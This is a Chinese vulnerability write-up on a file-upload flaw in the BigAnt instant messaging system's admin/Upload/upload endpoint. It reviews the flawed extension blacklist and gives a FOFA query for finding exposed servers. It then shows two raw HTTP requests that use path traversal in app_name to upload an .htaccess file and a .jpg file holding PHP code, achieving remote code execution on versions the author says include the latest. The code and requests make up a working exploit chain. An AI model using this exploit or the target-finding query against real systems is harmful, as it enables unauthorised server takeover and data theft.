大蚂蚁 (BigAnt) 即时通讯系统 admin/Upload/upload 文件上传漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 admin/Upload/upload 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

先看 \Admin\Controller\UploadController::upload 的初始化权限校验部分

/**
 * 初始化,不用 AdminBaseController 的初始化, 因为sp_user_type() == 0会退出
 * 这里被 addin也调用
 */
function _initialize() {

        if ($this->validLogin){

                if ((! sp_user_islogin()))  {
                        parent::common_logout('public/logout') ;
                }

        }

}

sp_user_islogin的存在,需要一个登录的session,继续往下看upload()方法

/**
 * 上传功能, 需指定上传的控件ID  fileid
 */
public function upload(){

$returnType = I('get.return_type','js');  // js,json

        try {
                $saas_id = sp_saas_id();
                if (!$saas_id) {
                        $saas_id = '0';
                }

                $app_name = I('get.app_name','admin') ;
                $options['file_id'] = I('get.file_id') ;
                $options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名
                $options['exts'] = I('get.exts') ;
                $options['max_size'] = I('get.max_size',100) ;
                $options['thumb_size'] = I('get.thumb_size') ;
                $options['thumb_only'] = I('get.thumb_only',0) ;

                // 文件验证
                if(empty($_FILES)) {
                        throw new \RuntimeException('没有上传文件');
                }

                // 过滤空文件
                $_FILES = array_filter($_FILES, function($item){
                        return $item["tmp_name"] !== '';
                });

                // PEM文件验证
                if(strtolower(I('get.exts')) == 'pem') {
                        foreach($_FILES as $fileInfo){
                                if(!$fileInfo['name']) continue;
                                $realExt = substr($fileInfo['name'], (strripos($fileInfo['name'],'.') + 1));
                                if(strtolower($realExt) != 'pem') {
                                        throw new \RuntimeException('文件格式不正确,支持的类型是:pem');
                                }
                        }
                }

                // 文件类型安全验证
                $blackArr = ["asp","aspx","asa","asax","ascx","ashx","asmx","cer","php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jsp","exe","sys","com","sh","dll","bat"];
                foreach($_FILES as $fileInfo){
                        $info = pathinfo($fileInfo['name']);
                        if (empty($info['extension']) || strpos(strtolower($info['extension']),"ph") !== false) {
                                throw new \RuntimeException('不支持的文件类型');
                        }
                        if (empty($info['extension']) || in_array(strtolower($info['extension']), $blackArr)) {
                                throw new \RuntimeException('不支持的文件类型');
                        }
                }

                //设置目录
                $dir =  \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;

                //jc 20170628 这个路径创建会到盘符下,uploadAnFile会自动创建安
                //sp_folder_create($dir);

                //得到上传控件
                $uploadFile = \Common\Lib\SaasSDK::getUploadFile($options['file_id']);

                //上传照片
                $res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$uploadFile);

                if (!$res['status']) {
                        throw new \RuntimeException($res['err_msg']);
                }

                $data = $res['data'];
                $data['status'] = 1;

                if (C("DOMAIN")) {
                        //发布到其他平台
                        if($options['file_id']=="file_user_picture"){
                                \Common\Dispersed\SendUser::upload_file($data['savefile']);
                        }
                }

                // 返回结果
                ob_clean();

                if ($returnType === 'js') {
        $callback = I('get.callback');
                        if ($callback) {
                                echo '<script language="javascript">parent.'.$callback.'('.json_encode($data).');</script>';
                        } else {
                                echo '<script language="javascript">parent.openValid();parent.uploadComplete('.json_encode($data).');</script>';
                        }
                } else {
                        Jump::success($res['data']);
                }
        } catch (\RuntimeException $e) {
                if ($returnType === 'js') {
                        echo '<script language="javascript">alert("'.$e->getMessage().'");</script>';
                } else {
                        Jump::errror(3002,$e->getMessage());
                }
        }
}

定义了一个黑名单后缀列表$blackArr = ["asp","aspx","asa","asax","ascx","ashx","asmx","cer","php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jsp","exe","sys","com","sh","dll","bat"];

然后从上传里循环提取文件名后缀进行验证

foreach($_FILES as $fileInfo){
    $info = pathinfo($fileInfo['name']);
    if (empty($info['extension']) || strpos(strtolower($info['extension']),"ph") !== false) {
       throw new \RuntimeException('不支持的文件类型');
    }
    if (empty($info['extension']) || in_array(strtolower($info['extension']), $blackArr)) {
       throw new \RuntimeException('不支持的文件类型');
    }
}

因此,常见的可执行后缀如php、php3、phtml及其衍生后缀都不能上传;

但是既然是采用黑名单,在php环境下,我们可以上传.htaccess**将指定后缀当作PHP进行解析!**

因为我们可以通过$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;控制文件保存目录(通过app_name进行目录穿越),以及$res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$uploadFile)的$options来控制文件名不重命名$options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名,先上传一个.htaccess文件,再上传一个指定的后缀进行rce。

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/addin/Upload/uploadMultipleFile.html

/addin/Upload/uploadMultipleFile

上传 .htaccess

POST /admin/Upload/upload?exts=htaccess&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary87OMlFNPFZz8B85t
Content-Length: 140

------WebKitFormBoundary87OMlFNPFZz8B85t
Content-Disposition: form-data; name="file"; filename=".htaccess"

AddType application/x-httpd-php .jpg
------WebKitFormBoundary87OMlFNPFZz8B85t--

上传图片

POST /admin/Upload/upload?exts=jpg&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary87OMlFNPFZz8B85t
Content-Length: 140

------WebKitFormBoundary87OMlFNPFZz8B85t
Content-Disposition: form-data; name="file"; filename="tes.jpg"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary87OMlFNPFZz8B85t--

成功上传文件到doc目录下

访问上传文件,成功执行上传代码。


手机扫码阅读

GitHub accesskey_tools 工具投毒事件结束

大蚂蚁 (BigAnt) 即时通讯系统 admin/secret/edit SQL注入漏洞

评 论